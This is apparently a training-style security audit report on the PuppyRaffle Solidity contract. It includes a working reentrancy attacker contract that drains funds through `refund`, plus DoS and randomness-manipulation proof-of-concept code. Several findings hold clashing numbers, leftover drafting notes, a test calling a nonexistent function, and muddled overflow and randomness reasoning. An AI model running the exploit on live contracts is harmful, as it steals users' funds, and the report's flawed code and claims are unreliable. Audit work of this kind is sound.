Prepared by: Anselmo Ramon Sanchez Titla

Table of Contents

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The Anselmo Ramon Sanchez Titla team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond to the following commit hash:

- Commit Hash: 0804be9b0fd17db9e2953e27e9de46585be870cf

Scope

```
./src/
└── PuppyRaffle.sol
```

Roles

- `Owner`` - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the` changeFeeAddress` function.
- `Player` - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

We spent 50 hours with 3 auditors using manual review, aderyn, slither finding the below vulnerabilities classified from high to informational

Issues found

Severity	Number of issues found
High	4
Medium	1
Low	1
Infomartional	5
total	11

Findings

High

[H-1] Reentrancy vulnerability in `PuppyRaffle::enterRaffle` allows attacker to drain funds

Description:
The `PuppyRaffle::enterRaffle` function is vulnerable to reentrancy attacks. An attacker can exploit this vulnerability by calling the `PuppyRaffle::enterRaffle` function multiple times within a single transaction, causing the contract to recursively call back into itself before the initial call is completed. This allows the attacker

to manipulate the contract's state and potentially withdraw funds more than once, draining the contract's balance. The contract does not have adequate protection against reentrancy, particularly within the refund mechanism.

Impact:
An attacker can use this vulnerability to repeatedly call the `refund` function and drain the contract of its funds. This would allow the attacker to bypass the expected behavior of the contract, leading to loss of funds for the legitimate participants. Moreover, this attack could discourage users from participating in the raffle, as the integrity of the contract is compromised.

Proof of Concept:
The vulnerability can be demonstrated through the following test and contract implementation, which exploits the reentrancy flaw by repeatedly calling the `refund` function.

```
// Part of test for reentrancy attack
function test_reentrancyRefund() public {
    address ;
    players[0] = playerOne;
    players[1] = playerTwo;
    players[2] = playerThree;
    players[3] = playerFour;
    puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

    ReentrancyAttacker attackerContract = new
ReentrancyAttacker(puppyRaffle);
    address attackUser = makeAddr("attackUser");
    vm.deal(attackUser, 1 ether); // to give attackUser some money

    uint256 startingAttackContractBalance =
address(attackerContract).balance;
    uint256 startingContractBalance = address(puppyRaffle).balance;

    // Attack
    vm.prank(attackUser);
    attackerContract.attack{value: entranceFee}();

    console.log("starting attacker contract balance: ",
startingAttackContractBalance);
    console.log("starting contract balance: ", startingContractBalance);

    console.log("ending attacker contract balance: ",
address(attackerContract).balance);
    console.log("ending contract balance: ", address(puppyRaffle).balance);
}
```

```
// ReentrancyAttacker contract that exploits the vulnerability
contract ReentrancyAttacker {
```

```
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address ;
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);

        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(attackerIndex);
    }

    function _stealMoney() internal {
        if (address(puppyRaffle).balance < entranceFee) return;
        puppyRaffle.refund(attackerIndex);
    }

    fallback() external payable {
        _stealMoney();
    }

    receive() external payable {
        _stealMoney();
    }
}
```

Recommended Mitigation:

To mitigate the reentrancy vulnerability, consider the following approaches:

Use the "checks-effects-interactions" pattern:
This pattern ensures that all checks and state updates (effects) are performed before making any external calls (such as transferring funds). This prevents an attacker from re-entering the contract during an external call. Ensure that the state is updated before transferring funds to external addresses.

Add a reentrancy guard modifier:

Use a reentrancy guard to prevent recursive calls into the contract. You can use OpenZeppelin's `ReentrancyGuard` modifier to prevent reentrancy attacks.

Example:

```
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

contract PuppyRaffle is ReentrancyGuard {
    function refund(uint256 playerIndex) public nonReentrant {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player
can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already
refunded, or is not active");

        payable(msg.sender).sendValue(entranceFee);
        players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);
    }
}
```

Alternatively:

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player
can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already
refunded, or is not active");

-       payable(msg.sender).sendValue(entranceFee);

        players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);

+       payable(msg.sender).sendValue(entranceFee);
    }
```

[H-2] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas cost for future entrants.

```
Please comment this shell block, this won't be part of the report, it is just
to help us figure out the severity [S-#]

### [S-#]

IMPACT: MEDIUM
LIKELIHOOD: MEDIUM (since it will cost a lot to an attacker to do this)
```

```
So for us [S-#] = [M-#], we will figure the number # later
```

Description The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However the longer the `PuppyRaffle::players` array is, the more checks a new player will have to make. This means the gas cost for players who enter right when the raffle starts will be dramatically lower than those who enter later. Every additional address in the `PuppyRaffle::players` array, is an additional check the loop will have to make.

```
        // Check for duplicates
        // @audit DoS attack
@>      for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle: Duplicate
player");
            }
        }
```

Impact The gas cost for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of the raffle to be one of the first entrants in the queue.

An attacker might fill the raffle `PuppyRaffle::players` array so big, that no one else enters, guaranteeing themselves the win

Proof of concept

If we have two sets of 100 players enter, the gas cost will be as such:

- 1st 100 players: ~6503275 gas
- 2nd 1500 players: ~1057057316 gas

This is more than 3x more expensive for the second 100 players.

/_ In the private audit maybe don't put the code directly into the findings report but in a competive audit you definitively put this in _/

▶ PoC

Place the following test into `PuppyRaffleTest.t.sol`

```
    function testDoS() public {
        vm.txGasPrice(1);
        address[] memory players = new address[](100);

        for (uint i=0; i<100; i++){
```

```
            players[i] = address(i);
        }

        uint gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee*players.length}(players);

        uint gasEnd = gasleft();
        uint gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
        console.log("Gas cost of first 100 players: ", gasUsedFirst);

        uint nextNumPlayers = 1490;
        address[] memory players2 = new address[](nextNumPlayers);
        for (uint i = 100; i<nextNumPlayers + 100; i++){
            players2[i-100] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee*players2.length}
(players2);

        uint gasEnd2 = gasleft();
        // vm.expectRevert("")
        uint gasUsedSecond = (gasStart - gasEnd2) * tx.gasprice;
        console.log("Gas cost of rest of players: ", gasUsedSecond);

        assert(gasUsedFirst < gasUsedSecond);
    }
```

Recommended Mitigation There are a few recommendations.

1. Consider allowing duplicates. Users can make new wallet addresses anyway, so a duplicate check doesn't prevent same person from entering multiple times, only the same wallet address.
2. Consider a mapping to check for dupplicates. This would allow constant time lookup whether a user has already entered. You could have each raffle have a `uint256` id and the mapping would be a `raffleId` and a `player address` mapped to `true` or `false`.

```
+   uint256 public raffleId;   // This will be incremented for next raffle in
selectWinner()
+   mapping(uint256 => mapping(address => bool)) public isParticipant;

      .
      .
      .

    function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle:
Must send enough to enter raffle");
```

```
            for (uint256 i = 0; i < newPlayers.length; i++) {
                players.push(newPlayers[i]);
+               require(!isParticipant[raffleId][newPlayers[i]], "PuppyRaffle:
Duplicate player");      /*+++ new line +++*/
+               isParticipant[raffleId][newPlayers[i]] = true;
/*+++ new line +++*/
            }

            // Check for duplicates
-           for (uint256 i = 0; i < players.length - 1; i++) {
/*+++ drop this line +++*/
-               for (uint256 j = i + 1; j < players.length; j++) {
/*+++ drop this line +++*/
-                   require(players[i] != players[j], "PuppyRaffle: Duplicate
player");     /*+++ drop this line +++*/
-               }
/*+++ drop this line +++*/
-           }
/*+++ drop this line +++*/
            emit RaffleEnter(newPlayers);
        }

        function selectWinner() external {

          .
          .
          .

          delete players;
+         raffleId += 1; // incrementing for the next raffle
          raffleStartTime = block.timestamp;

          .
          .
          .

        }
```

Alternatively, you could use OpenZeppelin's `EnumerableSet` library.

[H-3] Weak Randomness in `PuppyRaffle::selectWinner` exposes the contract to predictability and manipulation

Description:

The `PuppyRaffle::selectWinner` function uses predictable values such as `block.timestamp` and `block.difficulty` along with the `keccak256` hash function to generate a winner index and determine token rarity. This approach for generating randomness is weak and easily manipulable. As the values used for randomness, such as the block timestamp and difficulty, are publicly accessible, an attacker can predict the

outcome of the raffle, allowing them to influence or control the winner selection process. This compromises the integrity and fairness of the raffle.

Impact:
By using weak randomness in the form of predictable values, an attacker can potentially manipulate the raffle outcome, ensuring they win or influence the result. This exposes the contract to manipulation, leading to unfair results and loss of trust from participants. The fairness of the raffle is significantly undermined, and it becomes vulnerable to front-running attacks where an attacker can predict the winner and enter the raffle at the optimal time. Furthermore, the predictability of the randomness can be exploited by anyone with knowledge of the block properties, which severely compromises the security and credibility of the contract.

Proof of Concept:
To demonstrate the weakness of the randomness mechanism, consider the following snippet:

```
uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender,
block.timestamp, block.difficulty))) % players.length;
```

The values of block.timestamp and block.difficulty are both publicly accessible and predictable. An attacker can simulate the keccak256 hash computation using known block values to predict the winner of the raffle, thus exploiting the vulnerability.

For example, an attacker can calculate the winning index in advance, enter the raffle at the right moment, and win the prize by matching the predicted winner index. Furthermore, the attacker could also predict the rarity of the token assigned to the winner, thus increasing their chances of acquiring a high-value item.

```
contract ManipulateRaffle {
    PuppyRaffle public puppyRaffle;

    constructor(address _puppyRaffle) {
        puppyRaffle = PuppyRaffle(_puppyRaffle);
    }

    // Predict and manipulate the randomness
    function attack() public {
        uint256 predictedWinnerIndex =
uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp,
block.difficulty))) % puppyRaffle.players.length;
        // Now enter the raffle and guarantee winning
        puppyRaffle.selectWinner();
    }
}
```

This example demonstrates how an attacker can manipulate the selectWinner function by calculating the winner index based on predictable block properties.

Recommended Mitigation:

1. **Use a secure randomness source like Chainlink VRF:**
   To prevent manipulation and ensure truly random outcomes, the contract should integrate a secure and verifiable randomness source, such as Chainlink's Verifiable Random Function (VRF). This will provide cryptographically secure randomness, ensuring the integrity of the raffle process.

   Example of integration with Chainlink VRF:

```
import
"@chainlink/contracts/src/v0.8/interfaces/VRFCoordinatorV2Interface.sol";
import "@chainlink/contracts/src/v0.8/VRFConsumerBaseV2.sol";

contract PuppyRaffle is VRFConsumerBaseV2 {
    VRFCoordinatorV2Interface COORDINATOR;

    // Chainlink VRF parameters
    bytes32 keyHash;
    uint64 subscriptionId;

    constructor(address _vrfCoordinator, bytes32 _keyHash, uint64
_subscriptionId) VRFConsumerBaseV2(_vrfCoordinator) {
        COORDINATOR = VRFCoordinatorV2Interface(_vrfCoordinator);
        keyHash = _keyHash;
        subscriptionId = _subscriptionId;
    }

    function selectWinner() external {
        // Request random number from Chainlink VRF
        uint256 requestId = COORDINATOR.requestRandomWords(keyHash,
subscriptionId, 3, 200000, 1);
        // Use the random number returned from Chainlink VRF to select
the winner
        uint256 winnerIndex = requestId % players.length;
        address winner = players[winnerIndex];
        // Continue with winner selection and prize distribution...
    }
}
```

2. Avoid using block properties for randomness: As mentioned, values like block.timestamp and block.difficulty should not be used for generating randomness. These values are predictable and can be manipulated by miners. Using Chainlink VRF or another secure oracle is the best practice to ensure the randomness is cryptographically secure and not subject to manipulation.

3. Implement additional checks for randomness verification: If a secure randomness oracle is not feasible for the contract, consider implementing additional checks or randomness verification mechanisms to mitigate

the risk of predictable outcomes. However, using Chainlink VRF remains the most secure and robust solution to ensure fairness in lotteries or raffles.

[H-4] Mishandling ETH Withdrawals in `PuppyRaffle::withdrawFees` (Incorrect balance check and risks with `selfdestruct`)

Description:

The `PuppyRaffle::withdrawFees` function contains a crucial issue when verifying the contract's balance before performing a fee withdrawal. It checks that the contract's balance is equal to `totalFees` using `address(this).balance == uint256(totalFees)`, which assumes that the contract's balance exactly matches the fees set aside for withdrawal. This check does not account for other dynamic factors such as transaction fees, funds temporarily held in the contract, or potential changes in the balance during the transaction execution.

Furthermore, the function uses the `call{value: feesToWithdraw}("")` method to send ETH to a specified address, which could introduce additional risks if not properly managed. The potential interaction with `selfdestruct` can also pose security concerns, as the contract balance could be emptied unexpectedly, leading to a loss of funds.

Impact:

This vulnerability creates several potential risks:

- **Inconsistent state**: If the contract balance does not match `totalFees` at the time of the check, the withdrawal will fail, even if there are enough funds to cover the withdrawal.
- **Unintended behavior**: The `call` method is unsafe when not properly checked for success, especially if the recipient address is a contract that could revert or cause a chain reaction of failures.
- **Selfdestruct risk**: The contract's funds may be emptied due to interactions with `selfdestruct`, allowing an attacker to drain funds unintentionally or maliciously.
- **Loss of user funds**: If multiple withdrawals are attempted or if the contract's state is inconsistent, users may not be able to retrieve their fees, causing loss of trust in the contract.

Proof of Concept:

The vulnerability can be demonstrated as follows:

1. Deploy the `PuppyRaffle` contract with some players entering the raffle and accumulating fees.
2. Call `PuppyRaffle::withdrawFees` when the contract's balance differs from `totalFees`. If the balance is slightly off (e.g., due to transaction fees or other factors), the transaction will fail due to the `require(address(this).balance == uint256(totalFees))` condition.
3. If the contract uses `selfdestruct`, the balance can be drained, leading to a loss of funds.
4. Any attempt to withdraw after this failure will either cause a revert or leave the contract in an inconsistent state.

Recommended Mitigation:

To mitigate the risks associated with the `PuppyRaffle::withdrawFees` function, consider the following approaches:

1. **Improve balance check**: Instead of directly comparing `address(this).balance` with `totalFees`, allow a small tolerance or check for sufficient funds (e.g., `address(this).balance >= uint256(totalFees)`). This accounts for slight discrepancies between the contract's balance and the expected `totalFees`.

2. **Safeguard against `selfdestruct`**: Implement additional safeguards that prevent the contract from being selfdestructed or drained unexpectedly. For example, a modifier that ensures certain conditions are met before allowing destructive actions could help.

3. **Reentrancy protection**: Consider using the `ReentrancyGuard` from OpenZeppelin's `ReentrancyGuard` contract to prevent reentrancy attacks during fee withdrawal operations.

By implementing these recommendations, the security and reliability of the fee withdrawal function can be greatly improved, reducing the risk of loss of funds or contract failures.

Medium

[M-1] Overflow and Unsafe Cast Vulnerability in `PuppyRaffle::selectWinner` When Updating `totalFees`

Description:
The `PuppyRaffle::selectWinner` function contains a critical vulnerability in the line where it updates `totalFees`:

```
totalFees = totalFees + uint64(fee);
```

Here, the `fee` is a `uint256` value, but it is cast to `uint64` before being added to `totalFees`. This is an unsafe cast, as the value of `fee` may exceed the maximum value allowed for a `uint64`, which is `18,446,744,073,709,551,615`. If the `fee` exceeds this limit, it will overflow, causing incorrect calculations for `totalFees` and other related variables.

Additionally, if the contract collects a large amount of fees (e.g., 20 ETH worth of fees), the cast to `uint64` will lose precision and may lead to undesired behavior in the prize distribution and overall contract logic.

Impact:

The overflow and unsafe cast to `uint64` pose significant risks to the integrity of the raffle system. If the value of `fee` exceeds the `uint64` limit, it can cause an overflow, resulting in incorrect values for `totalFees` and other variables dependent on it. This vulnerability can allow attackers to manipulate the prize pool distribution, potentially stealing funds or causing the raffle to behave unpredictably.

In the worst case, this could result in the manipulation of the prize distribution, loss of funds, and unfair outcomes, thus undermining trust in the contract and its integrity.

Proof of Concept:
The vulnerability manifests when the `fee` value exceeds the `uint64` range during the addition to `totalFees`. For instance, if the contract collects a large fee (e.g., 20 ETH worth of fees), this value may exceed the maximum value allowed for a `uint64` variable, causing the addition operation to result in an overflow. This results in an incorrect value for `totalFees` and impacts the subsequent prize distribution.

To demonstrate this, consider a scenario where the fee is large enough to cause an overflow:

1. The `fee` value is a `uint256` that exceeds `18,446,744,073,709,551,615`.
2. When the `fee` is cast to `uint64`, it wraps around to a smaller value due to the overflow.
3. The overflow causes `totalFees` to have an incorrect value, which affects subsequent calculations for the prize pool and prize distribution.

For example, if `fee = 20 ETH` (a large value) and `totalFees = 18,446,744,073,709,551,615` (maximum `uint64` value), the addition would overflow and cause `totalFees` to revert to a very small number or incorrect value.

Recommended Mitigation:

1. **Use Larger Data Types for `totalFees` and `fee`:**
   To mitigate the overflow and casting issue, both `totalFees` and `fee` should be stored as `uint256` rather than `uint64`. This ensures that large values for `fee` can be safely handled without causing an overflow. The updated code would be:

```
    totalFees = totalFees + fee;
```

Low

[L-1] Incorrect behavior of `PuppyRaffle::getActivePlayerIndex` could mislead users about their raffle status

Description:
The `PuppyRaffle::getActivePlayerIndex` function is intended to return the index of an active player in the raffle. However, the implementation contains a flaw in that if a player is the first in the `PuppyRaffle::players` array (at index 0), the function will return 0 as the index, even if they are inactive. Additionally, if a player is inactive and not present in the `PuppyRaffle::players` array, the function will also return 0, which could mislead the player into thinking they are active when they are not.

Impact:
This behavior could lead to confusion and frustration for users. For instance, a player who is inactive but happens to be at index 0 might mistakenly believe they are active, while a player who is genuinely inactive might incorrectly assume they are still part of the raffle. This could potentially result in players acting on incorrect

assumptions about their participation status and impact their decision-making. Furthermore, this misrepresentation could be exploited by an attacker to manipulate the raffle or deceive other participants.

Proof of Concept:
The following example demonstrates how the `PuppyRaffle::getActivePlayerIndex` function could lead to confusion, especially for the first player in the `players` array.

```
// Example test case to demonstrate the issue
function test_getActivePlayerIndex() public {
    address playerOne = makeAddr("playerOne");
    address playerTwo = makeAddr("playerTwo");

    // Add two players to the raffle
    puppyRaffle.enterRaffle{value: entranceFee}(playerOne);
    puppyRaffle.enterRaffle{value: entranceFee}(playerTwo);

    // Mark playerOne as inactive (or removed)
    puppyRaffle.removePlayer(playerOne);

    // Call getActivePlayerIndex for both players
    uint256 indexPlayerOne = puppyRaffle.getActivePlayerIndex(playerOne);
    uint256 indexPlayerTwo = puppyRaffle.getActivePlayerIndex(playerTwo);

    console.log("Player One Index: ", indexPlayerOne); // Expected: 0 (but
should ideally be an error or revert)
    console.log("Player Two Index: ", indexPlayerTwo); // Expected: 1
}
```

This test case shows that even if `playerOne` is removed from the raffle, the function still returns 0 as the index, making the player believe they are still active. However, the playerTwo index is returned correctly.

Recommended Mitigation:

To resolve this issue, the following mitigations should be considered:

1. **Return a proper indication for inactive players:**
   If the player is not active or removed, `PuppyRaffle::getActivePlayerIndex` should return a value that clearly indicates this, such as reverting the transaction or returning a special value (like `uint256(-1)` or another predefined value). This ensures that the player can distinguish between being an active participant and being inactive.

   Updated implementation for `getActivePlayerIndex`:

   ```
   function getActivePlayerIndex(address player) external view returns
   (uint256) {
       for (uint256 i = 0; i < players.length; i++) {
   ```

```
        if (players[i] == player) {
            // If the player is inactive, return a value indicating they
are not active
            if (playerStatus[player] == false) {
                return uint256(-1); // Or revert with a custom error
            }
            return i;
        }
    }
    // Return a clear indication that the player is not found or inactive
    return uint256(-1); // Or revert with a custom error
}
```

2. **Ensure clear status checking:**

   Implement a function or status that can be used to confirm whether a player is active. This will provide clarity to both the contract and users.

```
mapping(address => bool) public playerStatus;

function isPlayerActive(address player) public view returns (bool) {
    return playerStatus[player];
}
```

Informational

[I-1] Use of Floating Pragma Version in `PuppyRaffle.sol` May Lead to Compatibility Issues and Inconsistent Behavior

Description:
The Solidity version `pragma solidity ^0.7.6;` in the `PuppyRaffle.sol` contract is a floating version specifier. This means the contract can be compiled with any version of Solidity that is compatible with `0.7.6`, including future minor and patch versions. While this may seem convenient, it poses significant risks because future Solidity versions could introduce breaking changes or optimizations that may not be compatible with the contract's code.

Using a floating version specifier, such as `^0.7.6`, can lead to inconsistencies, as new versions of the Solidity compiler might change certain behaviors, introduce unexpected bugs, or even compromise security. For example, newer compiler versions may implement optimizations or bug fixes that could unintentionally affect the contract's logic or gas consumption, causing it to behave unpredictably.

Impact:
The main issue with using a floating pragma version is that it introduces a potential lack of control over which

compiler version is used to compile the contract. This can lead to the following negative consequences:

1. **Inconsistent Behavior:** Changes in future versions of Solidity may alter how certain functions or features are handled. This could lead to the contract behaving differently, especially in edge cases, without any changes being made to the contract's source code.
2. **Security Risks:** Future versions of Solidity could include optimizations or changes to the compiler that may introduce vulnerabilities or unintended side effects in the contract, especially if the contract relies on specific behavior that has been altered.
3. **Maintenance Challenges:** By not locking the Solidity version, the contract may become difficult to maintain and test, as developers may not be able to guarantee the same behavior across different compiler versions. This could result in issues when updating the contract or attempting to integrate it with other contracts that rely on a fixed Solidity version.
4. **Potential Deployment Failures:** If a new version of Solidity is released that is incompatible with the contract, it may fail to compile or deploy correctly. This could cause significant delays in deployment or require extensive refactoring of the contract.

Proof of Concept:
Here is the specific instance found in the `PuppyRaffle.sol` contract:

```
pragma solidity ^0.7.6;
```

By using the floating version `^0.7.6`, the contract can be compiled with versions ranging from `0.7.6` to any future minor or patch version below `0.8.0`. While this might seem convenient, it introduces the risk of breaking changes with each new compiler release. For example, if a future version of Solidity introduces a bug or optimization that changes the way certain operations are performed, this could affect the contract without any indication in the source code.

Recommended Mitigation:

To avoid the risks associated with using a floating version specifier, it is recommended to use a specific version of Solidity. Here are some mitigation strategies:

1. **Use a Specific Solidity Version:**
   Instead of using a floating version like `^0.7.6`, specify the exact version of Solidity that the contract should be compiled with. For example, use:

   ```
   pragma solidity 0.7.6;
   ```

   This ensures that the contract is only compiled with that specific version, reducing the risk of unexpected behavior or vulnerabilities introduced by future compiler releases.

2. **Regular Audits and Updates:** Regularly audit the contract to ensure compatibility with the latest Solidity versions. If necessary, update the contract to be compatible with new versions, but always lock to the exact version to avoid unexpected changes.

3. **Testing and Compatibility Checks:** Before deploying with a new version of Solidity, ensure thorough testing on testnets to confirm that the contract functions as expected with the updated compiler version.

[I-2] Use of outdated Solidity version `^0.7.6` in `PuppyRaffle.sol` contract

Description:
The `PuppyRaffle.sol` contract uses the floating version specifier `^0.7.6` for Solidity, which allows the contract to be compiled with versions from `0.7.6` up to, but not including, `0.8.0`. While this seems convenient, it introduces the risk of unexpected changes as new Solidity versions are released.

By using `^0.7.6`, the contract may compile successfully with newer Solidity versions that could include breaking changes or optimizations, potentially affecting the contract's functionality or security. This can lead to unpredictable behavior, making the contract harder to audit and maintain.

Impact:
Using an outdated version of Solidity, such as `^0.7.6`, poses several risks to the stability and security of the contract. With every new release, Solidity introduces important optimizations, new features, and critical bug fixes. By relying on an outdated compiler version, the contract is missing out on the benefits of these improvements, potentially compromising its performance and security.

Some of the key advantages of upgrading to a more recent stable version, such as `0.8.10` or above, include:

1. **Enhanced Security**: Newer versions of Solidity come with important security patches and fixes for vulnerabilities that may exist in older versions. For example, the `0.8.x` series introduced a range of improvements related to gas optimizations, overflow checks, and more robust error handling.

2. **Improved Gas Efficiency**: Later versions of Solidity contain optimizations that make contract execution more gas-efficient. This means lower transaction costs and reduced risk of running into gas limit issues, especially important for complex smart contracts like raffles or games that may have a large number of participants.

3. **Increased Support for Modern Features**: Newer versions of Solidity provide support for more modern programming features and better language features. This includes improvements in handling of errors, better introspection of contract state, and tools like `custom errors` to save gas.

4. **Compiler Warnings and Error Messages**: Recent Solidity versions often have more helpful and precise warnings and error messages that can aid developers in spotting potential bugs or incorrect patterns in their contracts. This improves the overall reliability of the contract during development.

5. **Long-Term Maintenance**: Relying on a stable, recent version of Solidity ensures that the contract will be compatible with future updates in the ecosystem, minimizing the risk of having to deal with sudden breaking changes in the future. It also ensures that the contract can be more easily maintained and upgraded, as newer versions of Solidity provide better backward compatibility with tooling.

By using a recent stable version, developers can ensure that their contract is not only more secure and efficient but also easier to maintain and scale as the Solidity language and Ethereum ecosystem continue to evolve. Using an outdated version like `0.7.6` introduces unnecessary risks and limits the contract's potential.

Proof of Concept:
The specific issue is found in the `PuppyRaffle.sol` contract at line 2, where the floating version `^0.7.6` is used:

```
pragma solidity ^0.7.6;
```

Recommended Mitigation:
To mitigate the risks of using an outdated Solidity version such as `^0.7.6`, it is strongly recommended to upgrade to a recent, stable version. Below are the steps and guidance on how to ensure the use of a suitable Solidity version:

1. **Upgrade to the Latest Stable Version:**
   Always aim to use the latest stable release of Solidity. As of the latest updates, the `0.8.x` series is highly recommended due to its performance improvements, security patches, and gas optimizations. For example, `0.8.10` and higher are considered stable and feature-rich versions.

2. **Pin the Exact Version:**
   Instead of using a floating version like `^0.7.6`, which allows any version from `0.7.6` to the next major release (`0.8.0`), it is best to use a pinned version, such as `pragma solidity 0.8.10;`. This prevents the contract from accidentally compiling with a future version that might contain breaking changes.

3. **Verify Stability of Solidity Versions:**
   To find the most stable and recommended versions of Solidity, you can refer to the official Solidity GitHub repository and the Solidity Release Notes. The release notes provide detailed information on the changes, optimizations, and fixes made in each version.

By following these recommendations, you can ensure that your contract remains secure, efficient, and maintainable while avoiding the risks associated with using outdated versions of Solidity.

[I-3] Constructor in `PuppyRaffle::constructor` does not validate the zero address for `PuppyRaffle::feeAddress`

Description:
The constructor of the `PuppyRaffle` contract accepts an address `_feeAddress` to specify where the fees will be sent. However, there is no validation to check if the provided `_feeAddress` is the zero address (`0x0000000000000000000000000000000000000000`). If the zero address is provided, it may cause issues in future transactions involving fee transfers. The contract fails to guard against this, which is a vulnerability.

Impact:
If deployer sets the `PuppyRaffle::feeAddress` to the zero address, any attempts to transfer fees to that

address will fail, leading to unexpected behavior in the contract. This could block fee payments or cause the contract to function improperly, affecting the owner and potentially resulting in financial loss.

Proof of Concept:
If a user deploys the contract with the `PuppyRaffle::feeAddress` set to the zero address (`0x0000000000000000000000000000000000000000`), all attempts to transfer fees will go to the addres zero. Below is an example of a test case that can be added to a test suite to verify the issue.

```
function testWithdrawFeesToZeroAddress() public playersEntered {
    address feeAddress = address(0);
    puppyRaffle = new PuppyRaffle(entranceFee, feeAddress, duration);

    address[] memory players = new address[](4);
    players[0] = playerOne;
    players[1] = playerTwo;
    players[2] = playerThree;
    players[3] = playerFour;
    puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);

    uint256 expectedPrizeAmount = ((entranceFee * 4) * 20) / 100;

    puppyRaffle.selectWinner();
    puppyRaffle.withdrawFees();
    assertEq(address(feeAddress).balance, expectedPrizeAmount);
}
```

Recommended Mitigation:

To mitigate this issue, consider the following recommendations:

Validate `feeAddress` in the constructor: Add a validation check in the constructor to ensure that the `feeAddress` is not set to the zero address. If the zero address is provided, revert the transaction.

Example:

```
require(_feeAddress != address(0), "PuppyRaffle: Fee address cannot be the
zero address");
```

[I-4] Use of non-CEI pattern in `PuppyRaffle::selectWinner` introduces potential reentrancy vulnerability

Description:
The `PuppyRaffle::selectWinner` function is vulnerable due to its use of a non-CEI (Checks-Effects-Interactions) pattern. Specifically, the function interacts with external addresses (via `winner.call{value: prizePool}("")`) not until the end.

Impact:
The impact is very low since we just need to change the minting of nft before the transfer to ether.

Recommended Mitigation:

To mitigate the risk of reentrancy attacks, the following recommendations should be considered:

1. **Follow the Checks-Effects-Interactions (CEI) pattern:**

   Updated `selectWinner` function following the CEI pattern:

```
   function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration,
"PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4 players");

        uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender,
block.timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];

        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
        totalFees = totalFees + uint64(fee);

        uint256 tokenId = totalSupply();
        uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender,
block.difficulty))) % 100;
        if (rarity <= COMMON_RARITY) {
            tokenIdToRarity[tokenId] = COMMON_RARITY;
        } else if (rarity <= COMMON_RARITY + RARE_RARITY) {
            tokenIdToRarity[tokenId] = RARE_RARITY;
        } else {
            tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
        }

        // State changes first
        delete players;
        raffleStartTime = block.timestamp;
        previousWinner = winner;

        // External call last
+       _safeMint(winner, tokenId);
        (bool success,) = winner.call{value: prizePool}("");
```

```
        require(success, "PuppyRaffle: Failed to send prize pool to winner");
-       _safeMint(winner, tokenId);
    }
```

[I-5] Use of Magic Numbers in `PuppyRaffle::selectWinner` function makes the contract less maintainable and introduces potential for errors.

Description:
The `PuppyRaffle::selectWinner` function contains several "magic numbers," which are hard-coded constant values directly embedded into the code. For instance, the percentage values (80% for the prize pool, 20% for the fee) are calculated using `80` and `20` respectively. Additionally, the rarity boundaries (e.g., `COMMON_RARITY`, `RARE_RARITY`, `LEGENDARY_RARITY`) are used without descriptive constants or documentation. These "magic numbers" can lead to confusion for future developers, making the code harder to maintain, test, and extend.

Impact:
Hardcoding percentages and other numerical values directly in the code reduces readability and increases the risk of introducing errors in the future. If these numbers need to be updated, there is a higher chance of inconsistency or human error. Furthermore, the lack of descriptive constants or documentation means that the meaning of these numbers can easily be misunderstood or incorrectly modified. This could lead to unintended behavior or financial losses in the raffle process. It also makes the code less flexible if the contract needs to evolve or be reused in other contexts.

Proof of Concept:
